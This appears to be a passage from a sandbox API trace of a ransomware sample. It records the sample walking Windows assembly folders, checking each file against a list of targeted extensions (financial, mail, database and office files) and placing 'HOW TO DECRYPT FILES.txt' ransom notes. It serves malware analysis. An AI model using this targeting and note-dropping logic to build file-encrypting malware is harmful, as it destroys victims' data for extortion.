lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" [0100.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.ems") returned 0 [0100.882] lstrlenA (lpString="*.ems") returned 5 [0100.882] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.db") returned 0 [0100.882] lstrlenA (lpString="*.db") returned 4 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.dbf") returned 0 [0100.883] lstrlenA (lpString="*.dbf") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.myox") returned 0 [0100.883] lstrlenA (lpString="*.myox") returned 6 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.myo") returned 0 [0100.883] lstrlenA (lpString="*.myo") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qbw") returned 0 [0100.883] lstrlenA (lpString="*.qbw") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qbb") returned 0 [0100.883] lstrlenA (lpString="*.qbb") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qbm") returned 0 [0100.883] lstrlenA (lpString="*.qbm") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qbo") returned 0 [0100.883] lstrlenA (lpString="*.qbo") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qbx") returned 0 [0100.883] lstrlenA (lpString="*.qbx") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qba") returned 0 [0100.883] lstrlenA (lpString="*.qba") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qby") returned 0 [0100.883] lstrlenA (lpString="*.qby") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qbj") returned 0 [0100.883] lstrlenA (lpString="*.qbj") returned 5 [0100.883] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.ofx") returned 0 [0100.883] lstrlenA (lpString="*.ofx") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.qif") returned 0 [0100.884] lstrlenA (lpString="*.qif") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.mye") returned 0 [0100.884] lstrlenA (lpString="*.mye") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.mbox") returned 0 [0100.884] lstrlenA (lpString="*.mbox") returned 6 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.eml") returned 0 [0100.884] lstrlenA (lpString="*.eml") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.pst") returned 0 [0100.884] lstrlenA (lpString="*.pst") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.ost") returned 0 [0100.884] lstrlenA (lpString="*.ost") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.idx") returned 0 [0100.884] lstrlenA (lpString="*.idx") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.dbx") returned 0 [0100.884] lstrlenA (lpString="*.dbx") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.sql") returned 0 [0100.884] lstrlenA (lpString="*.sql") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.mdb") returned 0 [0100.884] lstrlenA (lpString="*.mdb") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.fdb") returned 0 [0100.884] lstrlenA (lpString="*.fdb") returned 5 [0100.884] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.wab") returned 0 [0100.884] lstrlenA (lpString="*.wab") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.dat") returned 0 [0100.885] lstrlenA (lpString="*.dat") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.txt") returned 0 [0100.885] lstrlenA (lpString="*.txt") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.jpeg") returned 0 [0100.885] lstrlenA (lpString="*.jpeg") returned 6 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.jpg") returned 0 [0100.885] lstrlenA (lpString="*.jpg") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.png") returned 0 [0100.885] lstrlenA (lpString="*.png") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.php") returned 0 [0100.885] lstrlenA (lpString="*.php") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.cs") returned 0 [0100.885] lstrlenA (lpString="*.cs") returned 4 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.cpp") returned 0 [0100.885] lstrlenA (lpString="*.cpp") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.rar") returned 0 [0100.885] lstrlenA (lpString="*.rar") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.zip") returned 0 [0100.885] lstrlenA (lpString="*.zip") returned 5 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.html") returned 0 [0100.885] lstrlenA (lpString="*.html") returned 6 [0100.885] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.htm") returned 0 [0100.885] lstrlenA (lpString="*.htm") returned 5 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.xlsx") returned 0 [0100.886] lstrlenA (lpString="*.xlsx") returned 6 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.xls") returned 0 [0100.886] lstrlenA (lpString="*.xls") returned 5 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.mp4") returned 0 [0100.886] lstrlenA (lpString="*.mp4") returned 5 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.ppt") returned 0 [0100.886] lstrlenA (lpString="*.ppt") returned 5 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.pptx") returned 0 [0100.886] lstrlenA (lpString="*.pptx") returned 6 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.doc") returned 0 [0100.886] lstrlenA (lpString="*.doc") returned 5 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.dot") returned 0 [0100.886] lstrlenA (lpString="*.dot") returned 5 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.docx") returned 0 [0100.886] lstrlenA (lpString="*.docx") returned 6 [0100.886] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config", pszSpec="*.7z") returned 0 [0100.886] lstrlenA (lpString="*.7z") returned 4 [0100.887] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c3b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.887] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.887] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned -1 [0100.887] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned -1 [0100.887] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned -1 [0100.887] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config") returned="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.config" [0100.887] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" [0100.887] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.887] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.887] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.visio.saveasweb\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.887] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll" [0100.888] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c3b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c3b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Visio.SaveAsWeb.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.888] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.888] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x84c3b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af5a680, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af5a680, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.888] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.888] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af34520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c6c642e, dwReserved1=0x676900, cFileName="Policy.11.0.Microsoft.Office.Interop.VisOcx", cAlternateFileName="POLICY~3.VIS")) returned 1 [0100.890] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx") returned -1 [0100.890] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx") returned -1 [0100.890] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.890] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.VisOcx" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx" [0100.890] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx") returned 72 [0100.890] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af34520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.891] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.891] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9af34520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.891] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.891] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.891] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.891] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.891] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.891] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\*.*") returned="*.*" [0100.892] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c" [0100.892] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c") returned 99 [0100.892] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.VisOcx\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.894] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.894] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x853133a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x9af34520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9af34520, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.894] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.894] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.894] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: 